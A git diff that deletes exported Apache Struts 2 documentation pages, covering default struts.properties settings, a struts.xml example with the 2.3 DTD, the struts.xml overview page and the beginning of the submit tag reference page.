-###       Alternatively, you can provide a com.opensymphony.xwork2.util.ObjectTypeDeterminer implementation name here
-### Note: By default, com.opensymphony.xwork2.util.DefaultObjectTypeDeterminer is used which handles type detection
-###       using generics. com.opensymphony.xwork2.util.GenericsObjectTypeDeterminer was deprecated since XWork 2, it&#39;s
-###       functions are integrated in DefaultObjectTypeDeterminer now.
-###       To disable tiger support use the &quot;notiger&quot; property value here.
-#struts.objectTypeDeterminer = tiger
-#struts.objectTypeDeterminer = notiger
-
-### Parser to handle HTTP POST requests, encoded using the MIME-type multipart/form-data
-# struts.multipart.parser=cos
-# struts.multipart.parser=pell
-# struts.multipart.parser=jakarta-stream
-struts.multipart.parser=jakarta
-# uses javax.servlet.context.tempdir by default
-struts.multipart.saveDir=
-struts.multipart.maxSize=2097152
-
-### Load custom property files (does not override struts.properties!)
-# struts.custom.properties=application,org/apache/struts2/extension/custom
-
-### How request URLs are mapped to and from actions
-#struts.mapper.class=org.apache.struts2.dispatcher.mapper.DefaultActionMapper
-
-### Used by the DefaultActionMapper
-### You may provide a comma separated list, e.g. struts.action.extension=action,jnlp,do
-### The blank extension allows you to match directory listings as well as pure action names
-### without interfering with static resources, which can be specified as an empty string
-### prior to a comma e.g. struts.action.extension=, or struts.action.extension=x,y,z,,
-struts.action.extension=action,,
-
-### Used by FilterDispatcher
-### If true then Struts serves static content from inside its jar.
-### If false then the static content must be available at &lt;context_path&gt;/struts
-struts.serve.static=true
-
-### Used by FilterDispatcher
-### This is good for development where one wants changes to the static content be
-### fetch on each request.
-### NOTE: This will only have effect if struts.serve.static=true
-### If true -&gt; Struts will write out header for static contents such that they will
-###             be cached by web browsers (using Date, Cache-Content, Pragma, Expires)
-###             headers).
-### If false -&gt; Struts will write out header for static contents such that they are
-###            NOT to be cached by web browser (using Cache-Content, Pragma, Expires
-###            headers)
-struts.serve.static.browserCache=true
-
-### Set this to false if you wish to disable implicit dynamic method invocation
-### via the URL request. This includes URLs like foo!bar.action, as well as params
-### like method:bar (but not action:foo).
-### An alternative to implicit dynamic method invocation is to use wildcard
-### mappings, such as &lt;action name=&quot;*/*&quot; method=&quot;{2}&quot; class=&quot;actions.{1}&quot;&gt;
-struts.enable.DynamicMethodInvocation = false
-
-### Set this to true if you wish to allow slashes in your action names.  If false,
-### Actions names cannot have slashes, and will be accessible via any directory
-### prefix.  This is the traditional behavior expected of WebWork applications.
-### Setting to true is useful when you want to use wildcards and store values
-### in the URL, to be extracted by wildcard patterns, such as
-### &lt;action name=&quot;*/*&quot; method=&quot;{2}&quot; class=&quot;actions.{1}&quot;&gt; to match &quot;/foo/edit&quot; or
-### &quot;/foo/save&quot;.
-struts.enable.SlashesInActionNames = false
-
-### Disables support for action: prefix
-struts.mapper.action.prefix.enabled = false
-
-### Blocks access to actions in other namespace than current with action: prefix
-struts.mapper.action.prefix.crossNamespaces = false
-
-### use alternative syntax that requires %{} in most places
-### to evaluate expressions for String attributes for tags
-struts.tag.altSyntax=true
-
-### when set to true, Struts will act much more friendly for developers. This
-### includes:
-### - struts.i18n.reload = true
-### - struts.configuration.xml.reload = true
-### - raising various debug or ignorable problems to errors
-###   For example: normally a request to foo.action?someUnknownField=true should
-###                be ignored (given that any value can come from the web and it
-###                should not be trusted). However, during development, it may be
-###                useful to know when these errors are happening and be told of
-###                them right away.
-struts.devMode = false
-
-### when set to true, resource bundles will be reloaded on _every_ request.
-### this is good during development, but should never be used in production
-### struts.i18n.reload=false
-
-### Standard UI theme
-### Change this to reflect which path should be used for JSP control tag templates by default
-struts.ui.theme=xhtml
-struts.ui.templateDir=template
-### Change this to use a different token to indicate template theme expansion
-struts.ui.theme.expansion.token=~~~
-#sets the default template type. Either ftl, vm, or jsp
-struts.ui.templateSuffix=ftl
-
-### Configuration reloading
-### This will cause the configuration to reload struts.xml when it is changed
-### struts.configuration.xml.reload=false
-
-### Location of velocity.properties file.  defaults to velocity.properties
-struts.velocity.configfile = velocity.properties
-
-### Comma separated list of VelocityContext classnames to chain to the StrutsVelocityContext
-struts.velocity.contexts =
-
-### Location of the velocity toolbox
-struts.velocity.toolboxlocation=
-
-### used to build URLs, such as the UrlTag
-struts.url.http.port = 80
-struts.url.https.port = 443
-### possible values are: none, get or all
-struts.url.includeParams = none
-
-### Load custom default resource bundles
-# struts.custom.i18n.resources=testmessages,testmessages2
-
-### workaround for some app servers that don&#39;t handle HttpServletRequest.getParameterMap()
-### often used for WebLogic, Orion, and OC4J
-struts.dispatcher.parametersWorkaround = false
-
-### configure the Freemarker Manager class to be used
-### Allows user to plug-in customised Freemarker Manager if necessary
-### MUST extends off org.apache.struts2.views.freemarker.FreemarkerManager
-#struts.freemarker.manager.classname=org.apache.struts2.views.freemarker.FreemarkerManager
-
-### Enables caching of FreeMarker templates
-### Has the same effect as copying the templates under WEB_APP/templates
-### struts.freemarker.templatesCache=false
-
-### Enables caching of models on the BeanWrapper
-struts.freemarker.beanwrapperCache=false
-
-### See the StrutsBeanWrapper javadocs for more information
-struts.freemarker.wrapper.altMap=true
-
-### maxStrongSize for MruCacheStorage for freemarker, when set to 0 SoftCacheStorage which performs better in heavy loaded application
-### check WW-3766 for more details
-struts.freemarker.mru.max.strong.size=0
-
-### configure the XSLTResult class to use stylesheet caching.
-### Set to true for developers and false for production.
-struts.xslt.nocache=false
-
-### Whether to always select the namespace to be everything before the last slash or not
-struts.mapper.alwaysSelectFullNamespace=false
-
-### Whether to allow static method access in OGNL expressions or not
-struts.ognl.allowStaticMethodAccess=false
-
-### Whether to throw a RuntimeException when a property is not found
-### in an expression, or when the expression evaluation fails
-struts.el.throwExceptionOnFailure=false
-
-### Logs as Warnings properties that are not found (very verbose)
-struts.ognl.logMissingProperties=false
-
-### Caches parsed OGNL expressions, but can lead to memory leaks
-### if the application generates a lot of different expressions
-struts.ognl.enableExpressionCache=true
-
-### Indicates if Dispatcher should handle unexpected exceptions by calling sendError()
-### or simply rethrow it as a ServletException to allow future processing by other frameworks like Spring Security
-struts.handle.exception=true
-]]></script>
-</div></div>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/strutsxml-examples.html b/content/docs/strutsxml-examples.html
deleted file mode 100644
index 0af3496..0000000
--- a/content/docs/strutsxml-examples.html
+++ /dev/null
@@ -1,300 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>struts.xml Examples</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="strutsxml.html">struts.xml</a>&nbsp;&gt;&nbsp;<a href="strutsxml-examples.html">struts.xml Examples</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">struts.xml Examples</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23776">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23776">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23776">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="struts.xmlExamples-AnExamplestruts.xmlConfigurationFile">An Example struts.xml Configuration File</h2>
-
-<div class="panel" style="border-width: 1px;"><div class="panelHeader" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="panelContent">
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;struts&gt;
-    &lt;package name=&quot;person&quot; extends=&quot;struts-default&quot; namespace=&quot;/person&quot; /&gt;
-&lt;/struts&gt;
-
-]]></script>
-</div></div>
-</div></div>
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more about configuration details, see <a shape="rect" href="configuration-elements.html">Configuration Elements</a></p>
-
-<h2 id="struts.xmlExamples-TheStruts2DocumentTypeDefinition(DTD)">The Struts 2 Document Type Definition (DTD)</h2>
-
-<div class="panel" style="border-width: 1px;"><div class="panelHeader" style="border-bottom-width: 1px;"><b>Struts 2.3 DTD</b></div><div class="panelContent">
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!--
-   Struts configuration DTD.
-   Use the following DOCTYPE
-
-   &lt;!DOCTYPE struts PUBLIC
-	&quot;-//Apache Software Foundation//DTD Struts Configuration 2.3//EN&quot;
-	&quot;http://struts.apache.org/dtds/struts-2.3.dtd&quot;&gt;
---&gt;
-
-&lt;!ELEMENT struts ((package|include|bean|constant)*, unknown-handler-stack?)&gt;
-&lt;!ATTLIST struts
-    order CDATA #IMPLIED
-&gt;
-
-&lt;!ELEMENT package (result-types?, interceptors?, default-interceptor-ref?, default-action-ref?, default-class-ref?, global-results?, global-exception-mappings?, action*)&gt;
-&lt;!ATTLIST package
-    name CDATA #REQUIRED
-    extends CDATA #IMPLIED
-    namespace CDATA #IMPLIED
-    abstract CDATA #IMPLIED
-    strict-method-invocation CDATA #IMPLIED
-    externalReferenceResolver NMTOKEN #IMPLIED
-&gt;
-
-&lt;!ELEMENT result-types (result-type+)&gt;
-
-&lt;!ELEMENT result-type (param*)&gt;
-&lt;!ATTLIST result-type
-    name CDATA #REQUIRED
-    class CDATA #REQUIRED
-    default (true|false) &quot;false&quot;
-&gt;
-
-&lt;!ELEMENT interceptors (interceptor|interceptor-stack)+&gt;
-
-&lt;!ELEMENT interceptor (param*)&gt;
-&lt;!ATTLIST interceptor
-    name CDATA #REQUIRED
-    class CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT interceptor-stack (interceptor-ref*)&gt;
-&lt;!ATTLIST interceptor-stack
-    name CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT interceptor-ref (param*)&gt;
-&lt;!ATTLIST interceptor-ref
-    name CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT default-interceptor-ref (#PCDATA)&gt;
-&lt;!ATTLIST default-interceptor-ref
-    name CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT default-action-ref (#PCDATA)&gt;
-&lt;!ATTLIST default-action-ref
-    name CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT default-class-ref (#PCDATA)&gt;
-&lt;!ATTLIST default-class-ref
-    class CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT global-results (result+)&gt;
-
-&lt;!ELEMENT global-exception-mappings (exception-mapping+)&gt;
-
-&lt;!ELEMENT action ((param|result|interceptor-ref|exception-mapping)*,allowed-methods?)&gt;
-&lt;!ATTLIST action
-    name CDATA #REQUIRED
-    class CDATA #IMPLIED
-    method CDATA #IMPLIED
-    converter CDATA #IMPLIED
-&gt;
-
-&lt;!ELEMENT param (#PCDATA)&gt;
-&lt;!ATTLIST param
-    name CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT result (#PCDATA|param)*&gt;
-&lt;!ATTLIST result
-    name CDATA #IMPLIED
-    type CDATA #IMPLIED
-&gt;
-
-&lt;!ELEMENT exception-mapping (#PCDATA|param)*&gt;
-&lt;!ATTLIST exception-mapping
-    name CDATA #IMPLIED
-    exception CDATA #REQUIRED
-    result CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT allowed-methods (#PCDATA)&gt;
-
-&lt;!ELEMENT include (#PCDATA)&gt;
-&lt;!ATTLIST include
-    file CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT bean (#PCDATA)&gt;
-&lt;!ATTLIST bean
-    type CDATA #IMPLIED
-    name CDATA #IMPLIED
-    class CDATA #REQUIRED
-    scope CDATA #IMPLIED
-    static CDATA #IMPLIED
-    optional CDATA #IMPLIED
-&gt;
-
-&lt;!ELEMENT constant (#PCDATA)&gt;
-&lt;!ATTLIST constant
-    name CDATA #REQUIRED
-    value CDATA #REQUIRED
-&gt;
-
-&lt;!ELEMENT unknown-handler-stack (unknown-handler-ref*)&gt;
-&lt;!ELEMENT unknown-handler-ref (#PCDATA)&gt;
-&lt;!ATTLIST unknown-handler-ref
-    name CDATA #REQUIRED
-&gt;
-
-]]></script>
-</div></div>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/strutsxml.html b/content/docs/strutsxml.html
deleted file mode 100644
index fe5a04c..0000000
--- a/content/docs/strutsxml.html
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>struts.xml</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="strutsxml.html">struts.xml</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">struts.xml</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13901">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13901">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13901">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13901">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13901">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13901">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The core configuration file for the framework is the default (<code>struts.xml</code>) file and should reside on the classpath of the webapp (generally <code>/WEB-INF/classes</code>).</p>
-
-<ul><li>The default file may include other configuration files as needed.</li><li>A <code>struts-plugin.xml</code> file can be placed in a JAR and automatically plugged into an application, so that modules can be self-contained and automatically configured.
-	<ul><li>In the case of Freemarker and Velocity modules, the templates can also be loaded from the classpath, so the entire module can be plugged in as a single JAR.</li></ul>
-	</li></ul>
-
-
-<h2 id="struts.xml-FAQ">FAQ </h2>
-
-<p><a shape="rect" href="can-we-break-up-a-large-strutsxml-file-into-smaller-pieces.html">Can we break up a large struts.xml file into smaller pieces</a>?</p>
-
-<h2 id="struts.xml-Next:">Next: <a shape="rect" href="strutsxml-examples.html">struts.xml Examples</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/submit.html b/content/docs/submit.html
deleted file mode 100644
index 58452c3..0000000
--- a/content/docs/submit.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>submit</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="submit.html">submit</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">submit</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14054">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14054">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14054">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
